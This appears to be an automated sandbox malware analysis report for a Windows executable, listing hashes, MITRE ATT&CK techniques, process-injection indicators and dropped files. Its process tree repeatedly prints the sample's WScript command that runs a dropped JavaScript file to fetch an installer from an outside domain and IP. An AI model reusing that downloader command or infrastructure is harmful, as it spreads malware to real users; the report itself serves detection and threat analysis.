f4ce2d35f93b49560daac1d7afb1d7f65c9016aa5938685d235b3880b772d0ee

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
11-05-2024 08:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe
Size

184KB
MD5

33a3c781df3a2ce36310527ffee586ff
SHA1

d79cbd67ca91b2c556549b5ded95e495de7394f8
SHA256

f4ce2d35f93b49560daac1d7afb1d7f65c9016aa5938685d235b3880b772d0ee
SHA512

e2e7ae62e36300add0e3eb2e4232f2b708419d90cda9d1f78c5f9febf90db973913827205583696016377864912c405829c22d8dda571e3e4e3e5631d59fe5ee
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3f:/7BSH8zUB+nGESaaRvoB7FJNndnu

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow	pid	process
6	2108	WScript.exe
8	2108	WScript.exe
10	2108	WScript.exe
12	2528	WScript.exe
13	2528	WScript.exe
15	2172	WScript.exe
16	2172	WScript.exe
18	1844	WScript.exe
19	1844	WScript.exe
22	1764	WScript.exe
23	1764	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe

description	pid	process	target process
PID 2236 wrote to memory of 2108	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 2108	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 2108	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 2108	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 2528	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 2528	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 2528	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 2528	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 2172	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 2172	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 2172	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 2172	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 1844	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 1844	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 1844	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 1844	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 1764	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 1764	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 1764	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe
PID 2236 wrote to memory of 1764	2236	33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2236

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf201E.js" http://www.djapp.info/?domain=yVaNcxCfFP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf201E.exe
2⤵
- Blocklisted process makes network request
PID:2108

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf201E.js" http://www.djapp.info/?domain=yVaNcxCfFP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf201E.exe
2⤵
- Blocklisted process makes network request
PID:2528

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf201E.js" http://www.djapp.info/?domain=yVaNcxCfFP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf201E.exe
2⤵
- Blocklisted process makes network request
PID:2172

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf201E.js" http://www.djapp.info/?domain=yVaNcxCfFP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf201E.exe
2⤵
- Blocklisted process makes network request
PID:1844

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf201E.js" http://www.djapp.info/?domain=yVaNcxCfFP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf201E.exe
2⤵
- Blocklisted process makes network request
PID:1764

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
1KB

MD5
2a8fa256ce6a53132c6e1887aec2dd90

SHA1
3c3712696c81ffbf3f78767fa642115336718db0

SHA256
4372b48ab69f94556f8124623513fe956790e5250372c13577d51de0a309a2a6

SHA512
86c1a4da1b625219443ffa86cf04f4fa477746d0f1ff2de1c8c8605fcb4eed09b9aa3a7e7a64c8ad59c50b2a65bf25d5ef493bf9b06726ecb83aa9519ef9f11b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
410B

MD5
2190726498c0441dcac25303ecd9a69d

SHA1
1e26e5eef5ee95df7edd01b2ac57b0a6247275d7

SHA256
c37876e2433907eb60f00ad9706b3534d21262133a325bfadf3bdccc2e0840e8

SHA512
01581a18efaf540d3b9469cfff09f5c6b754b8363209325e0c0ea65dda076ca3075099dfcddee2d3d03d9e569c52b59fe62dfa13194d0ead5f446f81fe52508b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
ed32909f901b4637b2b58965a551064d

SHA1
05195c2c6c20768aa1a814690aadefe920870738

SHA256
186ecb36cfe6ab8a6e360111def9f06adf3f37c660f3750641631d5acbdf40b6

SHA512
c0e7ee6db7c522cd2347bebc9963b1a84d0f9d41f0ed6071b4227bb0b25ca34ef23d1942f219301dd3fb8a51770ac3c83d21f49ccd3dc3e60dd51274b42247bd

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
392B

MD5
318c50501faa98085cb1e0a5657856ce

SHA1
dc41e004153923be321aee364d3d5175ccf77118

SHA256
c293840e25eea6cce2d35887c6cacf9d7dcc9d3a9ebe7c8e9c9f76ef85d2014c

SHA512
6ef39ae321b390e06e716184245433069e58af8d837f337cf06130b7c609ec2aba93b9c682b9580490277296c33b22fcbff5fdaeb70cde30ddae6b76e91fd382

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2XHJXO3H\domain_profile[1].htm
Filesize
40KB

MD5
9df734d07fb409206af9792edda6a097

SHA1
1cf61821beb62d3618108408b834db47379403fc

SHA256
5c3ee1aa0a8daa756717259d23d496535eba482b210c5ae74c9e04f19b128ed6

SHA512
c39615826a62867c5efed0225359098dfcc9ad7648c74393363e09e3b513ce8d0ef62d367dea8c4e019a9892cf88813bf448a685b8ac7b9428dcaa364c7eece3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2XHJXO3H\domain_profile[1].htm
Filesize
6KB

MD5
4c6b2f1db3eec8e4d483008d354534d1

SHA1
d19548c5a225f29f2bd9eb3f9d37a0cb103b29b8

SHA256
29931b042a966530c1b330e49846956b80f902d5384f27ce3ae667cfb528b25e

SHA512
69c806e06017859ec443d89c73dbd495113379249158aac3db86f9e20a98d04738c81ee8d656c80890aa52fff775453713d9afc4a7fd0c1d026f759457f669c0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H09CVCL3\domain_profile[1].htm
Filesize
40KB

MD5
2a6cef341107cea1bb6a5321e5d951c1

SHA1
e9b32d34f1d0550289c2c88f298d9368b4581369

SHA256
bcd27f53d198ee6839710bc772141a82747c07fccdc71c833c3327cfefc15b11

SHA512
2ff6eb44d2f5dc0ff5094f951f35cdde3999ea0ddd620e6093ef09a23f2f3c8e1320c39740be176ec68858de716e0f33485e6df1ffdfcde51bc9c7e9f71dac46

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H09CVCL3\domain_profile[1].htm
Filesize
40KB

MD5
7ea0c9653d89830c9b4eb44d7229e020

SHA1
d0b97734155f149a3f579a50192fc32d4685e8b5

SHA256
aedb6ccbedd38e2292ad1a3f96cb2124c8f0c5d945c60ff60192fcb092d0b670

SHA512
90ba70adf998413ed7f8f0f72e3d42ef1671bad0ad881a57d5e849478d3cb0814ac158113e1ea9fa82c8f6ff878971a4c7e8c0db9b2de1d0ee0acc2dd7f74cee

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab4F0A.tmp
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar675C.tmp
Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf201E.js
Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\VN8NNKTE.txt
Filesize
175B

MD5
c8d30980596019d52982553907cc871c

SHA1
1ed6c26152bc6e3a7e75f22ad6bc376beae06ac5

SHA256
eb2bbb735aa9d44ab220cd8a5c251eadbc249bf79a0a7a6748c580175605bea9

SHA512
ec8acb6f5fb1cc1086a6a0f58ffa5d0175174f0b9af30450d9b588c2b22d41074997ccf5583a262294ae68c576fd8af9d7f48bbbb52c248650c5d23665465f42

Download Submit